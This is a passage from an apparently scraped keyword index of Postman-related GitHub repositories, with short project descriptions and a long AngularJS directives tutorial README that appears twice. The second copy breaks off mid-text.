controller, entity, generator, java, service 		1. 此项目是SSM，使用代码生成器(mybatis-generator)自动生成dao、entity、mapper.xml ,需要自己写controller、service、serviceImpl。不是mybatis-plus-generator自动生成的代码。 2. 使用的日志是log4j 3.简单的CRUD接口写好了且postman测试通过。没有前端页面。 4. 测试类(HouseXiaoServiceImplTest.java)也测试通过。 5. 项目中的DTO、VO没有用到，如果用了，不知道接口测通不。 0 stars 0 watchers 0 forks

experiment (10 listings) (Back to Top)

KennethNL/Jedi
config, configuration, experiment, experimental, file, goal, test, testing, version 		This experimental project involved the conversion of a Gherkin-based input file to a JSON-based configuration of Postman with the end goal of API testing. 0 stars 0 watchers 0 forks
elementechemlyn/NEMS-Postman
collection, element, environment, experiment, experimenting 		A postman environment and collection for experimenting with NEMS in OpenTest 0 stars 0 watchers 0 forks
gingerpembers/postmanTests
ember, experiment, experimenting 		Test repro for experimenting with Postman 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks
peteclarkez/redis-pubsubtest
config, experiment, messaging, pubsub, redis, test 		Sample project to experiment on some redis messaging config 0 stars 0 watchers 0 forks
RbaduMan/Postman-experiment
experiment 		0 stars 0 watchers 0 forks
rob212/newman_project
experiment, newman, pipeline 		Postman Newman pipeline experiment 0 stars 0 watchers 0 forks
timmy8526/CGI_Postman_Convertor
collection, convert, converting, experiment, form, format 		This is an experiment of converting cgi url into Postman collection format. 0 stars 0 watchers 0 forks
TomFaulkner/Mailman
experiment, program, source 		Open source Postman-like program, an experiment at best. 0 stars 0 watchers 0 forks
vandana28/Microservices-quick-start
connection, experiment, http, service, services 		experimented with various http requests and validated the connections using Postman 0 stars 0 watchers 0 forks

handling (10 listings) (Back to Top)

alexeyshockov/PostmanBundle
handling, mail 		Foundation for mail handling (like Symfony's core HttpFoundation for HTTP) 2 stars 2 watchers 0 forks
vgane/ESB-Training
error, handling, integration, maven, test, testing 		Using Mulesoft AnyPointStudio to implement various integration patterns. Uses Java, MySQL DB, MUNIT testing, Postman, SOAP API, Restful API, SOAP UI, maven, AWS SNS, CRM(Salesforce), batchjobs, cronjobs, error_handling 1 stars 1 watchers 0 forks
ZhiroMusikyan/httpServerProj
handling, http, server, test 		Creating test server for handling Requests and Responses via Postman 1 stars 1 watchers 0 forks
a-bianchi/aws-postman
handling, list, lists, mail, mailing, service 		Mass mailing using the aws ses service and handling mailing lists. 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
gparasyris/back-end-nodejs
handling, node, nodejs, server 		Simple Node JS Express server handling POST, GET, PUT, DELETE requests. 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
Sayam753/movie_rating_drf
django, django rest, handling, movie, rating, rest, user, users, web app 		A django rest based web app for handling movie_ratings for different users. 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

current (10 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
TCGplayer/Postman-Api
collection, current, endpoint, endpoints, play 		A Postman collection containing requests for all of the current TCGPlayer API endpoints. 0 stars 0 watchers 8 forks
ForgeCloud/FRaaS-Postman
current, file, files 		JSON files with current Postman Scripts / Environments 1 stars 1 watchers 0 forks
joyghosh/postman
actor, current, email, framework, mail, relay, technologies 		Highly concurrent and queue based email relay sever. JMS and Akka's actors framework are the main technologies used. 1 stars 1 watchers 0 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
potaeko/Contact-Keeper-with-React
auth, authentication, cloud, course, current, data, database, route, routes, test, testing 		Contact Keeper with JWT authentication created with MongoDB Atlas cloud database, Express, React, Node.js (MERN) , JSON Web Tokens (JWT), Concurrently npm and testing routes with POSTMAN. Project from Udemy online course 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
djdagorne/moviedex-api
current, index, movie, search 		indexed movie searcher, currently made for postman lookups with a UUID 0 stars 0 watchers 0 forks
kbiswakarma/LEX-API-test
collection, current, postman collection, test, tests 		This repository currently contains postman collection to run API tests for LEX on AWS 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

remote (10 listings) (Back to Top)

fedepaol/PostmanLib--Rings-Twice--Android
action, android, library, remote, server 		An android library to make easier the interaction with a remote server 0 stars 0 watchers 14 forks
NitishGadangi/My_Postman-App
advance, enable, enables, remote 		📬 Android app with various advance features that enables you to Post JSON Data to a remote Api 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
xijiz/postman
debug, http, interface, method, remote 		remote interface debuger for http method(post, get) 0 stars 0 watchers 1 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
jstep/Postman-Sync
collection, remote, sync, syncing 		Testing syncing Postman collection to remote repo without Postman Pro 💰 0 stars 0 watchers 0 forks
Migraine-2020/Postman-1
projects, remote 		The first remote repo I am creating for Postman projects 0 stars 0 watchers 0 forks
PeripheralMike/jenkins-newman
docker, image, includes, jenkins, newman, remote, running, test, test run 		A complete docker image that includes Jenkins, Newman (for Postman remote test running) and the associated dependancies 0 stars 0 watchers 0 forks
PeripheralMike/pipecleaner
remote, running 		Sample Postman Collection for remote running 0 stars 0 watchers 0 forks
saveenchad/AjaxExplorer
common, config, configuration, configurations, fields, form, play, remote, send, tool, user 		The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. 0 stars 0 watchers 0 forks

default (10 listings) (Back to Top)

Massad/gin-boilerplate
boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test 		The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. 0 stars 0 watchers 65 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. 